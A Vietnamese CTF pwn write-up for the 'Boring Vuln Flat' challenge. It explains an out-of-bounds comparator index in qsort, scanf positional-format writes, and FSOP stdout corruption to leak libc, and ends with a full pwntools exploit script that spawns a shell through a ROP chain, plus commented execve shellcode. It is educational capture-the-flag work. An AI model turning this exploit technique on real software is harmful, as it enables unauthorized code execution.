# Write up - thời gian qua em phải research nhiều để hoàn thành các task mà deadline dí, nên em chỉ chơi ctf vào mỗi chủ nhật trên clb, thời gian tới em sẽ sắp xếp thời gian hợp lý hơn để tryhard lại ## How to Raise a Boring Vuln Flat ### Source ```c int __cdecl main(int argc, const char **argv, const char **envp) { int ints; // [rsp+0h] [rbp-20h] BYREF int v5; // [rsp+4h] [rbp-1Ch] BYREF int i; // [rsp+8h] [rbp-18h] int j; // [rsp+Ch] [rbp-14h] char *base; // [rsp+10h] [rbp-10h] unsigned __int64 v9; // [rsp+18h] [rbp-8h] v9 = __readfsqword(0x28u); setbuf(stdin, 0LL); setbuf(_bss_start, 0LL); puts("How to raise a boring vuln.\n"); puts("How many ints?"); __isoc99_scanf("%d", &ints); base = (char *)malloc(4LL * ints); puts("Input ints (separate by space):"); for ( i = 0; i < ints; ++i ) __isoc99_scanf("%d", &base[4 * i]); puts("Input sort type (1 = forward, 2 = reverse):"); __isoc99_scanf("%d", &v5); qsort(base, ints, 4uLL, (__compar_fn_t)*(&cmps + v5 - 1)); puts("Sorted array:"); for ( j = 0; j < ints; ++j ) printf("%d ", *(unsigned int *)&base[4 * j]); puts("\n"); puts("Bye."); return 0; } ``` ### Exploit - nhìn qua thì thấy bug khá rõ là OOB khi chọn option type sort ```c puts("Input sort type (1 = forward, 2 = reverse):"); __isoc99_scanf("%d", &v5); qsort(base, ints, 4uLL, (__compar_fn_t)*(&cmps + v5 - 1)); ``` - qsort sẽ call func tại arg4 , debug thì ta sẽ thấy khi call thì arg1 của qsort sẽ tương ứng với rdi khi call function, thằng này thì ta có thể control được - ở đây có 1 hướng là nhập index = -9 là got của printf, sau đó sử dụng fmtstr để setup, nhưng mà cách này khá khó vì phải get shell trong 1 lần fmtstr, và ta không có addr nào cả nên phải brute force lâu ![image](https://hackmd.io/_uploads/BkbvqqkiA.png) - lúc chơi giải thì em không nghĩ ra cách nào khác, khi end giải thì em đọc thấy hướng solution khác là sử dụng got scanf, mà có khó khăn ở đây là ta chỉ control được rdi khi scanf trong qsort, nghĩa là ta chỉ setup được format chứ không setup được buf để scanf vào - sau khi debug vài test case thì mình nhận ra là vẫn có thể nhập vào stack bằng scanf chỉ với arg1, điều này khá giống với printf khi sử dụng $ - ví dụ %6$s, thì ta sẽ nhập vào pointer trên rsp (6 - 5 == 1 (stack) ) - lợi dùng điều này ta có thể sử dụng fsop leak libc bằng cách orw _IO_2_1_stdout_ nằm trên stack ![image](https://hackmd.io/_uploads/BkTT6qys0.png) - có leak libc thì cần orw rip để get shell, ta cần quay lại hàm main để exploit lại, vì vậy trong cần scanf 2 lần trong qsort , lần 1 là orw rip chạy lại main, lần 2 là fsop để leak libc - ý tưởng của format như này `scanf("%<offset rip / 8 + 5>$s <padding> %<offset stdout / 8 + 5>$s")` - đặt breakpoint tại **<__isoc99_scanf+177>** để tính offset - scanf lần 1 ![image](https://hackmd.io/_uploads/r1A9goJiA.png) - scanf lần 2 ![image](https://hackmd.io/_uploads/S1PTesJs0.png) - như trên ảnh thì ta thấy 2 lần scanf thì stack đều khác nhau, vì vậy phải tính lại offset mỗi lần scanf, mà ta cũng không có exe base nên cũng phải brute force 8 bit _start ![image](https://hackmd.io/_uploads/HJqDMjJj0.png) - Sau khi brute force thành công rồi thì ta quay lại lại hàm main và exploit tương tự như trên, dùng lại offset cũ đến rip scanf để orw và get shell ![image](https://hackmd.io/_uploads/BkRdXiJsA.png) - chall khá hay và lạ ### script ```c #!/usr/bin/env python3 from pwn import * exe = ELF("./bflat_patched") libc = ELF("./libc.so.6") ld = ELF("./ld-2.39.so") context.binary = exe if args.REMOTE: p = remote('127.0.0.1', 10002) else: p = process(exe.path) def GDB(): gdb.attach(p, gdbscript = ''' # b*main+314 # b*main b*__isoc99_scanf b*__isoc99_scanf+177 # b*qsort_r+168 b*qsort_r+222 c ''') input() bstr = lambda x: str(x).encode() info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) p.sendline(b"5") payload = bstr(u32(b"%157")) + b" " payload += bstr(u32(b"$s\0\0")) + b" " payload += bstr(u32(b"\0\0\0\0")) + b" " payload += bstr(u32(b"%186")) + b" " payload += bstr(u32(b"$s\0\0")) + b" " p.sendline(payload) p.sendline(b"-7") # GDB() stdout = p64(0xfbad1887)+p64(0)*3 payload = b"A"*7 + b"\x20\x51" p.sendline(b"A") p.sendline(payload) p.sendline(stdout) p.sendline(stdout) p.sendline(stdout) p.recvuntil(b"\xe0") libc.address = u64(b"\xe0"+p.recv(7)) - libc.sym._IO_2_1_stdin_ log.info(f"LIBC @ {hex(libc.address)}") p.sendline(b"2") payload = bstr(u32(b"%158")) + b" " payload += bstr(u32(b"$s\0\0")) + b" " p.sendline(payload) p.sendline(b"-7") rop = ROP(libc) pop_rdi = ROP(libc).find_gadget(["pop rdi","ret"])[0] rop = [pop_rdi+1,pop_rdi,next(libc.search(b"/bin/sh\0")),libc.sym.system] rop = b"".join([p64(i) for i in rop]) payload = b"A"*8 + rop p.sendline(payload) p.interactive() # pop_rdi = ROP(libc).find_gadget(["pop rdi","ret"])[0] # rop = [pop_rdi+1,pop_rdi,next(libc.search(b"/bin/sh\0")),libc.sym.system] # rop = b"".join([p64(i) for i in rop]) # shellcode1 = asm( # ''' # mov rbx, 29400045130965551 # push rbx # mov rdi, rsp # xor rsi, rsi # xor rdx, rdx # mov rax, 0x3b # syscall # ''', arch = 'amd64' # ) ```